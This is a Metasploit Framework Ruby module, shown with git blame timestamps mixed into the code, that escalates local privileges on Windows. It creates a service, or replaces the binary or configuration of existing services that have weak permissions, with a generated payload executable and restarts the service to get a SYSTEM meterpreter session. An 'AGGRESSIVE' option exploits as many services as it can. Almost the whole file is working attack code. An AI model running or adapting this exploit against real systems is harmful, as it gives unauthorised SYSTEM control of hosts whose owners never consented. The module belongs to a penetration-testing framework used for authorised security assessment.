metasploit-framework/modules/exploits/windows/local/service_permissions.rb

194 lines
6.2 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-12-15 18:00:14 +00:00
include Msf::Post::File
2013-08-30 21:28:54 +00:00
include Msf::Post::Windows::Services
2013-12-15 18:00:14 +00:00
include Msf::Post::Windows::Accounts
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
'Description' => %q{
This module attempts to exploit existing administrative privileges to obtain
a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the
2013-12-15 18:00:14 +00:00
payload. This will result in a new session when this succeeds.
2013-08-30 21:28:54 +00:00
},
'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => '5'
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate'=> "Oct 15 2012"
))
register_options([
2013-12-15 18:00:14 +00:00
OptBool.new("AGGRESSIVE", [ true, "Exploit as many services as possible (dangerous)", false ])
2013-08-30 21:28:54 +00:00
])
end
2013-12-16 18:35:24 +00:00
def execute_payload_as_new_service(path)
2013-12-15 18:00:14 +00:00
success = false
2013-08-30 21:28:54 +00:00
2013-12-15 18:00:14 +00:00
print_status("Trying to add a new service...")
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
if service_create(service_name,"",path,startup=2)
print_status("Created service... #{service_name}")
write_exe(path, service_name)
if service_start(service_name) == 0
print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
success = true
end
2013-08-30 21:28:54 +00:00
2013-12-15 18:00:14 +00:00
service_delete(service_name)
else
print_status("No privs to create a service...")
success = false
end
2013-08-30 21:28:54 +00:00
2013-12-15 18:00:14 +00:00
return success
end
2013-08-30 21:28:54 +00:00
2013-12-15 18:00:14 +00:00
def weak_service_permissions(service_name, service, path)
success = false
vprint_status("[#{service_name}] Checking for weak service permissions")
if service_change_config(service_name, {:bin_path_name => path})
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
print_status("[#{service_name}] Restarting service")
stopped = service_stop(service_name)
unless (stopped == 2)
write_exe(path, service_name)
if (service_start(service_name) == 0)
print_good("[#{service_name}] Service restarted")
success = true
else
print_error("[#{service_name}] Unable to restart service")
end
end
2013-08-30 21:28:54 +00:00
2013-12-15 18:00:14 +00:00
unless service_change_config(name, {:bin_path_name => service[:path]})
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
end
2013-08-30 21:28:54 +00:00
end
2013-12-15 18:00:14 +00:00
return success
end
2013-08-30 21:28:54 +00:00
2013-12-15 18:00:14 +00:00
def weak_file_permissions(service_name, service, path, token)
success = false
vprint_status("[#{service_name}] Checking for weak file permissions")
2013-08-30 21:28:54 +00:00
2013-12-15 18:00:14 +00:00
#get path to exe; parse out quotes and arguments
original_path = service[:path]
possible_path = expand_path(original_path)
if (possible_path[0] == '"')
possible_path = possible_path.split('"')[1]
2013-08-30 21:28:54 +00:00
else
2013-12-15 18:00:14 +00:00
possible_path = possible_path.split(' ')[0]
2013-08-30 21:28:54 +00:00
end
2013-12-15 04:02:11 +00:00
2013-12-15 18:00:14 +00:00
unless file?(possible_path)
# If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
end
file_permissions = check_dir_perms(possible_path, token)
if file_permissions && file_permissions.index('W')
print_good("[#{service_name}] Write access to #{possible_path}")
2013-08-30 21:28:54 +00:00
begin
2013-12-15 18:00:14 +00:00
status = service_status(service_name)
no_access = false
# Unless service is already stopped
2013-12-16 18:35:24 +00:00
if status[:state] == SERVICE_STOPPED
2013-12-15 18:00:14 +00:00
stopped = true
2013-08-30 21:28:54 +00:00
else
2013-12-15 18:00:14 +00:00
res = service_stop(service_name)
stopped = (res != 2)
2013-08-30 21:28:54 +00:00
end
2013-12-15 18:00:14 +00:00
rescue RuntimeError => e
vprint_error("[#{service_name}] #{e} ")
no_access = true
end
2013-12-15 04:02:11 +00:00
2013-12-15 18:00:14 +00:00
if stopped or no_access
begin
if move_file(possible_path, possible_path+'.bak')
write_exe(possible_path, service_name)
print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
if (service_start(service_name) == 0)
print_good("[#{service_name}] Service restarted")
success = true
else
print_error("Unable to restart service")
2013-08-30 21:28:54 +00:00
end
end
2013-12-15 18:00:14 +00:00
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("[#{service_name}] #{e}")
2013-08-30 21:28:54 +00:00
end
2013-12-15 18:00:14 +00:00
else
vprint_error("[#{service_name}] Unable to stop service")
2013-08-30 21:28:54 +00:00
end
end
2013-12-15 18:00:14 +00:00
return success
end
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
# define the correct servicename.
def write_exe(path, service_name=nil)
vprint_status("[#{service_name}] Writing service executable to #{path}")
exe = generate_payload_exe_service({:servicename=>service_name})
write_file(path, exe)
register_files_for_cleanup(path)
end
def exploit
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
sysdir = expand_path("%SystemRoot%")
tmpdir = expand_path("%TEMP%")
tempexe = tmpdir + "\\" + tempexe_name
2013-12-16 18:35:24 +00:00
return if execute_payload_as_new_service(tempexe)
2013-12-15 18:00:14 +00:00
aggressive = datastore['AGGRESSIVE']
print_status("Trying to find weak permissions in existing services..")
token = get_imperstoken
service_list.each do |serv|
service_name = serv[:name]
service = service_info(service_name)
return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
return if weak_service_permissions(service_name, service, tempexe) and not aggressive
end
2013-08-30 21:28:54 +00:00
end
end